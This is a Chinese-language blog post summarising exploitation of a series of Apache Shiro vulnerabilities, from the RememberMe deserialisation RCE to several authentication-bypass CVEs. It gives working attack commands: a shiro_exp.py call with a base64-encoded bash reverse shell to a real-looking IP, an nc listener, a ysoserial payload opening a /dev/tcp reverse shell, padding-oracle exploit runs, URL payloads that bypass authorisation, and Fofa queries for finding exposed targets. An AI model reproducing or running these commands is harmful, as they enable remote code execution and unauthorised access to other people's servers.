1. 程式人生 > 實用技巧 >Apache Shiro系列漏洞利用以及實戰總結

Apache Shiro系列漏洞利用以及實戰總結

前言:

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,可以快速、輕鬆地獲得任何應用程式,從最小的移動應用程式到最大的網路和企業應用程式。內建了可以連線大量安全資料來源(又名目錄)的Realm,如LDAP、關係資料庫(JDBC)、類似INI的文字配置資源以及屬性檔案等。

目錄

RememberMe RCE-550(CVE-2016-4437)

遠端安全限制繞過漏洞(CVE-2016-6802)

Padding Oracle AttackRCE-721(CVE-2019-12422)

Shiro搭配spring時身份驗證繞過漏洞分析(CVE-2020-1957)

Apache Shiro 628許可權繞過漏洞 (CVE-2020-2957)

Apache Shiro許可權繞過漏洞分析(CVE-2020-11989)

Apache Shiro 許可權繞過漏洞(CVE-2020-13933)

總結

1、Shiro指紋識別

2、資產收集


RememberMe RCE-550(CVE-2016-4437

漏洞詳情:

Apache Shiro框架提供了記住我(RememberMe)的功能,關閉瀏覽器再次訪問時無需再登入即可訪問。shiro預設使用CookieRememberMeManager,對rememberMe的cookie做了加密處理,在CookieRememberMeManaer類中將cookie中rememberMe欄位內容先後進行序列化、AES加密、Base64編碼操作。伺服器端識別身份解密處理cookie的流程則是:

獲取rememberMe cookie->base64 解碼->AES解密(加密金鑰硬編碼)->反序列化(未作過濾處理)。但是AES加密的金鑰Key被硬編碼(金鑰初始就被定義好不能動態改變的)在程式碼裡,這就意味著每個人通過原始碼都能拿到AES加密的金鑰。因此,攻擊者可以構造一個惡意的物件,並且對其序列化、AES加密、base64編碼後,作為cookie的rememberMe欄位傳送。Shiro將rememberMe進行解密並且反序列化,最終就造成了反序列化的RCE漏洞。只要rememberMe的AES加密金鑰洩露,無論shiro是什麼版本都可能會導致該漏洞的產生.硬編碼是將資料直接嵌入到程式或其他可執行物件的原始碼中。如果在返回包的 Set-Cookie

中存在 rememberMe=deleteMe欄位,那麼就可能存在此漏洞。

漏洞影響:

Apache Shiro <= 1.2.4

漏洞利用:

  1. 訪問存在漏洞的網站,勾選Remenberme,輸入賬號:admin密碼:123456
  2. 提交表單的同時進行抓包,返回包中存在Set-Cookie: rememberMe=deleteMe

3.將反彈shell命令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 進行編碼轉換

4.nc監聽4444埠

nc-lvpp 4444

5.使用shiro_exp.py執行bash反彈shell命令

python2 .\exp.py -t 3 -u http://xx.xx.xx.xx:8080/login -p 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4xNTUuODcuODkvMzI0NjAgMD4mMQ==}|{base64,-d}|{bash,-i}'

反彈shell成功

遠端安全限制繞過漏洞(CVE-2016-6802)

漏洞詳情

shiro在路徑控制的時候,未能對傳入的url編碼進行decode解碼,導致攻擊者可以繞過過濾器,訪問被過濾的路徑。

漏洞影響

shrio <1.3.2

漏洞利用

訪問http://127.0.0.1/admin的時候,頁面返回403。因此可以確定admin路徑是屬於被過濾路徑。此時使用burp截斷,然後在訪問路徑的最後新增%2f,既可繞過shiro檢測。因為對於瀏覽器來說%2f會被自動編碼為/,但是burp截斷之後進入shiro,shiro未對其解碼,所以可以繞過。

Padding Oracle AttackRCE-721(CVE-2019-12422

漏洞簡介

Apache Shiro存在高危程式碼執行漏洞。該漏洞是由於Apache Shirocookie中通過 AES-128-CBC 模式加密的rememberMe欄位存在問題,使用者可通過Padding Oracle 加密生成的攻擊程式碼來構造惡意的rememberMe欄位,並重新請求網站,進行反序列化攻擊,最終導致任意程式碼執行。

環境搭建

gitclone https://github.com/3ndz/Shiro-721.git

cdShiro-721/Docker

docker build -t shiro-721 .

docker run -p 8080:8080 -d shiro-721

影響版本

Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

漏洞分析

總體來說就是shrio中的remenbermecookie欄位是採用AES-128-CBC加密的,因此容易受到oracle填充攻擊,攻擊者可以採用有效的cookie欄位來作為paddingoracleattack的字首,然後精心構造反序列化欄位進行命令執行。

漏洞利用

  1. 我們利用的前提是,需要能夠獲取正常的remenberMe的cookie,所以我們需要進入後臺,獲取正常的cookie:

先用ysoserial生成反序列化payload

github專案地址:https://github.com/frohoff/ysoserial

2、執行ysoserial.jar

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1' > linux_shell.class

使用PaddingOracleAttack-1.0-SNAPSHOT.jar進行漏洞利用

github專案地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

3、執行PaddingOracleAttack.jar

java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://xx.xx.xx.xx:8080/ CVLt9Uxe8Y+wYtBAg8OqeYytEKI04csCy916LpA8ndWPk0GHmv7iFB8nZIsnZmS00MLpOgHQD3+KRUlVQA09b7HFgios2tfD3ja6dKwoE4n4Y6h6tX2oZMwedIpmIBp59a6V8qqSk9chl1epO9up3ZJKrvQLs6CgRoA10Q4ZK0Jy00DQmFWWAvNI22tf4P68R/i2jOSSZ3+0KXme04jIWbYjcY7jVtD8RqehLDjHVxARWp8LVROQhHov2Gk2pEbXQs5MTF7sw1Nf6gcP6B1JizNWNvy23D0QVlGCqwu3qvwDaC2WUZm87DUr3fsOY6yOaDBk/Gpx1G6RJHN8LHJQ8zJVUfPJTX156B2ABq00xtCrXxjOWQpDVCrqjRoNHZ3qYVDITv7k/1Tmmwgayjv8F5nWLP+feY+oKIjt+eW5JVs0Ky2hbjDHin8KefdcuA+wK34NFyIbZi0abIjhKmqval5h/IjE6xMiGcA3Dsi/cuJGhHp0YbcWYuyxAfVCa15V 16 shell.class

4、得到破解結果後burpsuite重放替換cookie後的資料包,成功反彈shell

使用shiro_exp.py進行漏洞利用

5、執行shiro_exp.py

python2 shiro_exp.py http://xx.xx.xx.xx:8080/samples-web-1.4.1/home.jspCVLt9Uxe8Y+wYtBAg8OqeYytEKI04csCy916LpA8ndWPk0GHmv7iFB8nZIsnZmS00MLpOgHQD3+KRUlVQA09b7HFgios2tfD3ja6dKwoE4n4Y6h6tX2oZMwedIpmIBp59a6V8qqSk9chl1epO9up3ZJKrvQLs6CgRoA10Q4ZK0Jy00DQmFWWAvNI22tf4P68R/i2jOSSZ3+0KXme04jIWbYjcY7jVtD8RqehLDjHVxARWp8LVROQhHov2Gk2pEbXQs5MTF7sw1Nf6gcP6B1JizNWNvy23D0QVlGCqwu3qvwDaC2WUZm87DUr3fsOY6yOaDBk/Gpx1G6RJHN8LHJQ8zJVUfPJTX156B2ABq00xtCrXxjOWQpDVCrqjRoNHZ3qYVDITv7k/1Tmmwgayjv8F5nWLP+feY+oKIjt+eW5JVs0Ky2hbjDHin8KefdcuA+wK34NFyIbZi0abIjhKmqval5h/IjE6xMiGcA3Dsi/cuJGhHp0YbcWYuyxAfVCa15V shell.class

6、經過漫長的時間後得到cookie,然後替代剛抓包的cookie,重放即可

Shiro搭配spring時身份驗證繞過漏洞分析(CVE-2020-1957)

漏洞詳情

在Shiro中的URL路徑表示式pathPattern可以正確匹配/resource/menus,但不能正確匹配/resource/menus/,導致過濾鏈無法正確匹配,從而繞Shiro的防護機制。當Shiro 的Ant格式的pathPattern 中的的*萬用字元是不支援匹配路徑的,所以/hello/*不能成功匹配/hello/1/,也就不會觸發authc攔截器進行許可權攔截。從而成功繞過了Shiro攔截器,而後再進入到spring攔截器中,/hello/1/與/hello/1能獲取到相同的資源。

影響版本

Shiro <1.5.2

漏洞分析

https://www.freebuf.com/vuls/231909.html

Apache Shiro 628許可權繞過漏洞 (CVE-2020-2957)

漏洞詳情

CVE-2020-195身份認證繞過漏洞,可以用/hello/1/來繞過登入驗證,此次漏洞在之前CVE-2020-1957補丁的基礎上進行繞過,訪問/hello/1/會進入登入認證,但是通過構造payload:/fdsf;/../hello/1可以繞過登入認證。

影響版本

Shiro<=1.5.1

漏洞分析

https://www.rednn.com/safe/202003/30176.html

Apache Shiro許可權繞過漏洞分析(CVE-2020-11989)

漏洞詳情

如果直接訪問 /test/admin/page,會返回302跳轉要求登入,

訪問 /;/test/admin/page, 就能直接繞過Shiro許可權驗證,訪問到/admin路由中的資訊

漏洞版本

Shiro< 1.5.3

Sping框架只使用shiro鑑權

漏洞分析

https://xz.aliyun.com/t/7964

Apache Shiro 許可權繞過漏洞CVE-2020-13933

漏洞詳情

Apache Shiro的CVE-2020-11989修補補丁依舊存在缺陷,由於shiro和spring在處理url中仍然存在差別,通過構造特殊的HTTP請求,可以再次繞過授權,訪問未授權的資訊。訪問/read/xx,被302重定向到了/login,而訪問/read/%3bxxx,能夠繞過認證。

漏洞版本

Shiro<1.6.0

漏洞分析

https://xz.aliyun.com/t/8230/

總結

目前來說Shiro危害比較大的就兩個RCE漏洞,721漏洞的爆破速度太慢了,且成功率比較低。550漏洞相對來說比較好利用,但是漏洞數量已經很少了,可能某些內網比較老的機子還存在著。

1、Shiro指紋識別

已知指紋

若依CMS、TIMO後臺管理系統

Bp抓包:

在登陸介面勾線記住密碼,進行抓包,找remeberMe欄位。

2、資產收集

Fofa語法

"shiro" &&"管理系統"

header="rememberme=deleteMe"、header="shiroCookie"